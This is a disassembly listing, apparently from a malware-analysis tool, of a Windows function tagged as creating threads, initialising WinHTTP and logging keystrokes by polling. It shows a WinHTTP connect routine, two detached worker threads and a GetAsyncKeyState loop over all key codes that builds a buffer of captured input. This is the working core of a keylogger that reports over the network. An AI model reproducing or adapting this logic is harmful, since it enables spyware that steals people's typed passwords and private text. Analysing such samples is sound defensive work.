Function at 0x140006e40
Capabilities:
Create thread
Initialize winhttp library
Log keystrokes via polling

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r15
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x140035190]
xor rax, rsp
mov qword [rbp - 0x10], rax
xor r15d, r15d
lea rcx, [0x14002af90]
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
test rax, rax
jne 0x140006e96
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.___Failed_to_open_session__n
call fcn.140008fb0
jmp 0x140006e9d
mov qword [0x140038598], rax
call fcn.140003170
movzx esi, word [0x1400385a8]
lea rdx, [0x1400385d0]
lea rcx, [rbp - 0x30]
call fcn.140008040
mov rbx, rax
mov rdx, rax
cmp qword [rax + 0x18], 8
jb 0x140006ec9
mov rdx, qword [rax]
mov rcx, qword [0x140038598]
xor r9d, r9d
movzx r8d, si
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov rsi, rax
test rax, rax
jne 0x140006f3a
mov rcx, qword [0x140038598]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rdx, qword [rbx + 0x18]
cmp rdx, 8
jb 0x140006f31
mov rcx, qword [rbx]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x140006f2c
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000700b
mov rcx, r8
call fcn.14002203c
mov rsi, r15
movzx r9d, r15w
jmp 0x140006f7c
mov rdx, qword [rbx + 0x18]
cmp rdx, 8
jb 0x140006f79
mov rcx, qword [rbx]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x140006f74
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000700b
mov rcx, r8
call fcn.14002203c
mov r9d, r15d
mov eax, 7
mov r8d, 0x10
mov rdx, r15
mov rcx, rbx
mov qword [rbx + r8], rdx
lea ecx, [rax + 1]
mov qword [rbx + 0x18], rax
mov word [rbx], r9w
mov qword [0x1400385a0], rsi
call fcn.140021ce0
lea rcx, [0x140006820]
mov r9, rax
lea r8, [0x14000a9e0]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp - 0x38]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r15d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 0x40], rax
test rax, rax
je 0x14000723c
cmp dword [rbp - 0x38], r15d
je 0x140007230
movaps xmm0, xmmword [rbp - 0x40]
lea rcx, [rbp - 0x30]
movdqa xmmword [rbp - 0x30], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
je 0x140007012
mov ecx, eax
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
xorps xmm0, xmm0
mov ecx, 8
movdqa xmmword [rbp - 0x40], xmm0
call fcn.140021ce0
lea rcx, [0x1400062c0]
mov r9, rax
lea r8, [0x14000a9e0]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp - 0x48]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r15d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 0x50], rax
test rax, rax
je 0x140007220
cmp dword [rbp - 0x48], r15d
je 0x140007230
movaps xmm0, xmmword [rbp - 0x50]
lea rcx, [rbp - 0x30]
movdqa xmmword [rbp - 0x30], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
je 0x140007087
mov ecx, eax
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
int3
mov qword [rsp + 0xb0], r12
xorps xmm0, xmm0
mov qword [rsp + 0xb8], r13
lea r12, [0x140038630]
movdqa xmmword [rbp - 0x50], xmm0
mov r13d, 0xffff8001
mov qword [rsp + 0xc0], r14
mov edi, 8
nop dword [rax]
mov ecx, edi
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cmp ax, r13w
jne 0x1400071b8
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx ebx, ax
mov ecx, 0x14
shr ebx, 0xf
call qword [sym.imp.USER32.dll_GetKeyState]
and al, 1
and bl, 1
jne 0x1400070fe
test al, al
jne 0x1400070fe
xor r8b, r8b
jmp 0x140007101
mov r8b, 1
mov edx, edi
lea rcx, [rbp - 0x30]
call fcn.140003ba0
cmp qword [rbp - 0x18], 8
lea r9, [rbp - 0x30]
mov rcx, qword [0x140038648]
cmovae r9, qword [rbp - 0x30]
mov rax, rcx
mov r14, qword [0x140038640]
mov rsi, qword [rbp - 0x20]
sub rax, r14
cmp rsi, rax
ja 0x14000716c
cmp rcx, 8
lea rax, [rsi + r14]
mov rbx, r12
mov qword [0x140038640], rax
cmovae rbx, qword [0x140038630]
lea r8, [rsi + rsi]
mov rdx, r9
lea rcx, [rbx + r14*2]
call sub.VCRUNTIME140.dll_memmove
lea rax, [r14 + rsi]
mov word [rbx + rax*2], r15w
jmp 0x14000717c
mov rdx, rsi
mov qword [rsp + 0x20], rsi
mov rcx, r12
call fcn.140009d20
mov rdx, qword [rbp - 0x18]
cmp rdx, 8
jb 0x1400071b8
mov rcx, qword [rbp - 0x30]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400071b3
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007212
call fcn.14002203c
cmp edi, 0xff
jge 0x1400070b4
inc edi
cmp edi, 0xff
jle 0x1400070c0
cmp dword [rbp - 0x48], r15d
jne 0x140007219
cmp dword [rbp - 0x38], r15d
jne 0x140007219
mov r14, qword [rsp + 0xc0]
xor eax, eax
mov r12, qword [rsp + 0xb0]
mov r13, qword [rsp + 0xb8]
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.140021cb0
add rsp, 0x80
pop r15
pop rdi
pop rsi
pop rbx
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
mov ecx, 6
mov dword [rbp - 0x48], r15d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp - 0x38], r15d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3